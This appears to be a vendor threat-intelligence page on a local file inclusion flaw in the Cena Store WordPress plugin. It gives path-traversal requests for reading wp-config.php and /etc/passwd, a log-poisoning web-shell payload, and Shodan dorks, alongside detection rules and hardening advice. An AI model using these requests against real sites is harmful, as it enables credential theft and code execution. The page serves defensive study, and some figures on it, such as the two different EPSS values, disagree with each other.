☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Thembay logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-98
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-48171

CVE-2025-48171 Local File Inclusion in Thembay
📅 PUBLISHED: 2025-08-20 08:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.16%
👁️
0.16% probability
3.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-48171 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the Cena Store WordPress plugin by Thembay, up to version 2.11.26. The flaw stems from improper control of a filename used in an include or require PHP statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., wp-config.php, /etc/passwd), and under certain configurations, may enable remote code execution via log poisoning or file uploads.

The vulnerability is unpatched as of the latest advisory, and no public exploit code or PoC is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the ease of exploitation and potential impact.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to:

  • Immediately disable or remove the plugin if no patch is available.
  • Monitor for updates from Thembay.
  • Review any custom code or child themes that may rely on this plugin.

CVSS Breakdown & Threat Level

CVSS Score: 8.1 (High)

Vector Value
Attack Vector (AV) Network (N)
Attack Complexity (AC) Low (L)
Privileges Required (PR) None (N)
User Interaction (UI) None (N)
Scope (S) Unchanged (U)
Confidentiality (C) High (H)
Integrity (I) None (N)
Availability (A) None (N)

Threat Level: High – Unauthenticated remote file read with potential for escalation.

Deep Dive & Mechanics

The vulnerability exists in the cena-store plugin’s PHP code where a user-supplied parameter (likely page, template, or file) is passed directly to a PHP include() or require() function without proper sanitization or validation. This allows an attacker to traverse directories using ../ sequences and include arbitrary files from the server.

Example vulnerable code pattern:

$page = $_GET['page'];
include("pages/" . $page . ".php");

An attacker can exploit this by sending:

GET /wp-content/plugins/cena-store/index.php?page=../../../../etc/passwd%00

The null byte (%00) may be used to terminate the .php extension in older PHP versions, but modern PHP (5.3.4+) requires path traversal without null bytes. The attacker can still read files by using absolute paths or by including files that do not require a specific extension (e.g., log files).

Impact:

  • Read sensitive files: wp-config.php, /etc/passwd, database credentials.
  • Potential RCE via log poisoning (e.g., injecting PHP code into Apache logs and including them).
  • Information disclosure leading to further attacks.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and a secure alternative.

Vulnerable Code (hypothetical):

<?php
$template = $_GET['template'];
include("templates/" . $template . ".php");
?>

Patched Code (recommended):

<?php
$allowed_templates = ['home', 'about', 'contact'];
$template = $_GET['template'];
if (in_array($template, $allowed_templates, true)) {
    include("templates/" . $template . ".php");
} else {
    // Default or error
    include("templates/home.php");
}
?>

Key differences:

  • Use of a whitelist for allowed values.
  • No direct concatenation of user input into file paths.
  • Strict type comparison (in_array with true).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target running WordPress with Cena Store plugin <= 2.11.26.
  • No WAF or input validation blocking path traversal.

Step 1: Identify the vulnerable parameter Use a web fuzzer (e.g., Burp Suite, ffuf) to find parameters like page, file, template, include.

Step 2: Test for LFI

GET /wp-content/plugins/cena-store/index.php?page=../../../etc/passwd

Step 3: Read sensitive files

GET /wp-content/plugins/cena-store/index.php?page=../../../wp-config.php

Step 4: Attempt RCE via log poisoning

  1. Inject PHP code into User-Agent:
User-Agent: <?php system($_GET['cmd']); ?>
  1. Include the Apache access log:
GET /wp-content/plugins/cena-store/index.php?page=../../../var/log/apache2/access.log&cmd=id

Note: No public exploit code is available; this is a generic LFI exploitation guide.

Blue Team (Detection & Hardening)

Detection:

  • Monitor for path traversal patterns in HTTP requests (e.g., ../, %2e%2e/).
  • Alert on attempts to include sensitive files (wp-config.php, /etc/passwd).
  • Use WAF rules to block include, require, file_get_contents with user input.

Hardening:

  • Disable the plugin immediately.
  • If removal is not possible, apply a virtual patch via WAF.
  • Restrict file permissions on wp-config.php to 440.
  • Disable PHP allow_url_include and allow_url_fopen if not needed.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests containing ../ or %2e%2e/ in parameters.
  • Requests to /wp-content/plugins/cena-store/ with suspicious parameters.
  • User-Agent strings containing PHP code (e.g., <?php).

File IOCs:

  • Unexpected entries in web server logs (e.g., access.log, error.log) containing PHP code.
  • Modified or new files in wp-content/uploads/ or wp-content/plugins/cena-store/.

System IOCs:

  • Unusual processes spawned by the web server user (e.g., id, whoami).
  • Outbound connections from the web server to unknown IPs.

Detection Engineering

YARA Rule

rule CVE_2025_48171_LFI_Attempt {
    meta:
        description = "Detects LFI attempts targeting Cena Store plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48171"
    strings:
        $path_traversal = /(\.\.\/|%2e%2e%2f|%252e%252e%252f)/
        $plugin_path = /cena.store/
        $sensitive_file = /(wp-config\.php|etc\/passwd|etc\/shadow)/
    condition:
        $plugin_path and ($path_traversal or $sensitive_file)
}

Sigma Rule

title: CVE-2025-48171 LFI Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts against Cena Store plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '%2e%2e%2f'
            - 'wp-config.php'
            - '/etc/passwd'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other plugins
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-48171 - Cena Store LFI Attempt";
    flow:to_server,established;
    content:"cena-store"; http_uri;
    content:"../"; http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable or remove the Cena Store plugin until a patch is released.
  2. Apply a virtual patch using a WAF (e.g., ModSecurity, Cloudflare) to block path traversal patterns.
  3. Review server logs for signs of exploitation.

Long-term Fixes:

  • Monitor Thembay’s official channels for a patched version.
  • Replace the plugin with an alternative if no patch is forthcoming.
  • Implement input validation and whitelisting in all custom PHP code.

General Hardening:

  • Keep WordPress and all plugins updated.
  • Use a security plugin (e.g., Wordfence) with LFI detection.
  • Disable PHP allow_url_include and allow_url_fopen.
  • Restrict file permissions on sensitive files.

Valters IT – DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Cena Store"
http.html:"wp-content/plugins/cena-store"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-48171/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.